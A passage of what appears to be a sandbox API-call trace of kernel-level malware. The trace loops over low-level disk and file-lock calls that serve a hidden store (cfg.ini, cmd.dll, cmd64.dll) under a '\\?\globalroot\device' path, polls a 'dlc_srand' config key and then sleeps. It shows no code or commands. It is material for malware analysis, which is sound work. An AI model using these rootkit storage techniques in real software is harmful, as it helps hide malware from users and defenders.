FastMutex=0xfffffa80027d3898) [0123.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db6000 [0123.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.133] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.133] IdePortDispatch () returned 0x103 [0123.133] KeWaitForMutexObject () returned 0x0 [0123.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.133] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.133] IdePortDispatch () returned 0x103 [0123.133] KeWaitForMutexObject () returned 0x0 [0123.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.133] KeLeaveCriticalRegion () [0123.133] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.134] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.134] KeEnterCriticalRegion () [0123.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.134] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.134] KeLeaveCriticalRegion () [0123.134] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.134] KeEnterCriticalRegion () [0123.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.134] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.134] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.134] KeLeaveCriticalRegion () [0123.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.134] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.134] KeEnterCriticalRegion () [0123.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.134] ExFreePoolWithTag (P=0xfffffa8003be9f60, Tag=0x0) [0123.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.134] KeLeaveCriticalRegion () [0123.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.134] ReleaseMutex (hMutex=0xf0) returned 1 [0123.134] Sleep (dwMilliseconds=0x124f80) [0123.148] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.148] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.148] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.148] KeEnterCriticalRegion () [0123.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.148] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.148] IdePortDispatch () returned 0x103 [0123.149] KeWaitForMutexObject () returned 0x0 [0123.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.149] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.149] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.149] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.149] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.149] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9860 [0123.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.149] KeLeaveCriticalRegion () [0123.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.149] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.149] KeEnterCriticalRegion () [0123.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.149] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.149] KeLeaveCriticalRegion () [0123.149] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.149] KeEnterCriticalRegion () [0123.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.149] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.149] IdePortDispatch () returned 0x103 [0123.149] KeWaitForMutexObject () returned 0x0 [0123.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.149] KeLeaveCriticalRegion () [0123.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.149] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.150] KeEnterCriticalRegion () [0123.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.150] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbb000 [0123.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.150] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.150] IdePortDispatch () returned 0x103 [0123.150] KeWaitForMutexObject () returned 0x0 [0123.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.150] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.150] IdePortDispatch () returned 0x103 [0123.150] KeWaitForMutexObject () returned 0x0 [0123.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.150] KeLeaveCriticalRegion () [0123.150] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.151] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.151] KeEnterCriticalRegion () [0123.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.151] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.151] KeLeaveCriticalRegion () [0123.151] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.151] KeEnterCriticalRegion () [0123.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.151] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.151] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.151] KeLeaveCriticalRegion () [0123.151] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.151] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.151] KeEnterCriticalRegion () [0123.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.151] ExFreePoolWithTag (P=0xfffffa8003be9860, Tag=0x0) [0123.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.151] KeLeaveCriticalRegion () [0123.151] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.151] ReleaseMutex (hMutex=0xf0) returned 1 [0123.151] Sleep (dwMilliseconds=0x124f80) [0123.165] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.165] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.165] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.165] KeEnterCriticalRegion () [0123.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.166] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.166] IdePortDispatch () returned 0x103 [0123.166] KeWaitForMutexObject () returned 0x0 [0123.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.166] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.166] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.166] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.166] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.166] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beac60 [0123.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.166] KeLeaveCriticalRegion () [0123.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.166] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.166] KeEnterCriticalRegion () [0123.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.166] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.166] KeLeaveCriticalRegion () [0123.166] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.166] KeEnterCriticalRegion () [0123.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.166] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.166] IdePortDispatch () returned 0x103 [0123.166] KeWaitForMutexObject () returned 0x0 [0123.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.167] KeLeaveCriticalRegion () [0123.167] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.167] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.167] KeEnterCriticalRegion () [0123.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de2000 [0123.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.167] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.167] IdePortDispatch () returned 0x103 [0123.167] KeWaitForMutexObject () returned 0x0 [0123.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.167] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.167] IdePortDispatch () returned 0x103 [0123.167] KeWaitForMutexObject () returned 0x0 [0123.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.167] KeLeaveCriticalRegion () [0123.167] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.168] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.168] KeEnterCriticalRegion () [0123.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.168] KeLeaveCriticalRegion () [0123.168] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.168] KeEnterCriticalRegion () [0123.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.168] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.168] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.168] KeLeaveCriticalRegion () [0123.168] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.168] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.168] KeEnterCriticalRegion () [0123.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.168] ExFreePoolWithTag (P=0xfffffa8003beac60, Tag=0x0) [0123.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.168] KeLeaveCriticalRegion () [0123.168] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.168] ReleaseMutex (hMutex=0xf0) returned 1 [0123.168] Sleep (dwMilliseconds=0x124f80) [0123.182] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.182] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.182] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.183] KeEnterCriticalRegion () [0123.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.183] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.183] IdePortDispatch () returned 0x103 [0123.183] KeWaitForMutexObject () returned 0x0 [0123.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.183] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.183] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.183] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.183] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.183] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9860 [0123.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.183] KeLeaveCriticalRegion () [0123.183] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.183] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.183] KeEnterCriticalRegion () [0123.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.183] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.183] KeLeaveCriticalRegion () [0123.183] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.183] KeEnterCriticalRegion () [0123.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.183] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.183] IdePortDispatch () returned 0x103 [0123.183] KeWaitForMutexObject () returned 0x0 [0123.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.184] KeLeaveCriticalRegion () [0123.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.184] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.184] KeEnterCriticalRegion () [0123.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de7000 [0123.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.184] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.184] IdePortDispatch () returned 0x103 [0123.184] KeWaitForMutexObject () returned 0x0 [0123.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.184] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.184] IdePortDispatch () returned 0x103 [0123.184] KeWaitForMutexObject () returned 0x0 [0123.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.184] KeLeaveCriticalRegion () [0123.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.185] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.185] KeEnterCriticalRegion () [0123.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.185] KeLeaveCriticalRegion () [0123.185] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.185] KeEnterCriticalRegion () [0123.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.185] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.185] 